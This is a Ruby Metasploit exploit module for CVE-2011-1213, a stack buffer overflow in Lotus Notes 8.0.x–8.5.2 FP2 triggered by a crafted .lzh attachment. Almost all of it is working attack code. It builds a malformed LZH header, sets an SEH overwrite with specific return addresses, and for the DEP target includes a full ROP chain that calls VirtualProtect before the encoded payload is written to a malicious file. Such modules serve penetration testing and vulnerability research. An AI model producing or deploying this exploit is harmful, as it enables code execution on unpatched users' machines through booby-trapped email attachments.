##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
        parsing a malformed, specially crafted LZH file. This vulnerability was
        discovered binaryhouse.net

      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'binaryhouse.net',		# original discovery
          'alino <26alino[at]gmail.com>',	# Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2011-1213'],
          ['OSVDB', '72706'],
          ['BID', '48018'],
          ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
          ['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
        ],
      'Stance'         => Msf::Exploit::Stance::Passive,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
            {
              'Offset' => 6741,
              'Ret'    => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
            }
          ],

          [ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
            {
              'Offset' => 6745,
              'Ret'    => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
            }
          ],
        ],
      'DisclosureDate' => 'May 24 2011',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.lzh']),
        ], self.class)
  end

  def exploit

    header =  "\x08"		# Size of archived file header <-- 8 - 13 = FFFFFFF6
    header << "\x1a"		# 1 byte Header checksum
    header << "-lh0-"		# Method ID (No compression)
    header << "\x7c\x1a\x00\x00"	# Compressed file size
    header << "\x7c\x1a\x00\x00"	# Uncompressed file size
    header << "\xB2\x5e\xab\x3c"	# Original file date/time
    header << "\x20"		# File attribute
    header << "\x00"		# Level identifier
    header << "\x07"		# File name length
    header << "poc.txt"		# File name
    header << "\x25\x7d"		# 16 bit CRC of the uncompressed file

    lzh =  header
    lzh << rand_text(target['Offset'])

    if (target == targets[0])

      lzh << generate_seh_record(target.ret)
      lzh << make_nops(8)
      lzh << payload.encoded

    elsif (target == targets[1])

      rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll

      rop_gadgets =
      [
        0x60524404, # POP EAX; RETN nnotes.dll
        0x7c37a140, # VirtualProtect()
        0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
        0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
        0x60620001, # POP EBP; RETN nnotes.dll
        0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
        0x7c34280f, # POP EBX; RETN MSVCR71.dll
        0x00001954, # dwSize
        0x780ea001, # POP ECX; RETN MSVCP60.dll
        0x7c38b000, # lpflOldProtect
        0x60e73200, # POP EDI; RETN nnotes.dll
        0x60e73201, # RETN nnotes.dll
        0x601d5f02, # POP EDX; RETN nnotes.dll
        0x00000040, # flNewProtect
        0x60524404, # POP EAX; RETN nnotes.dll
        0x90909090, # NOP
        0x60820801, # PUSHAD; RETN nnotes.dll
      ].pack("V*")

      lzh << [target.ret].pack('V')
      lzh[32, rop_nop.length] = rop_nop
      lzh[220, rop_gadgets.length] = rop_gadgets
      lzh[289, payload.encoded.length] = payload.encoded
    end

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(lzh)
  end
end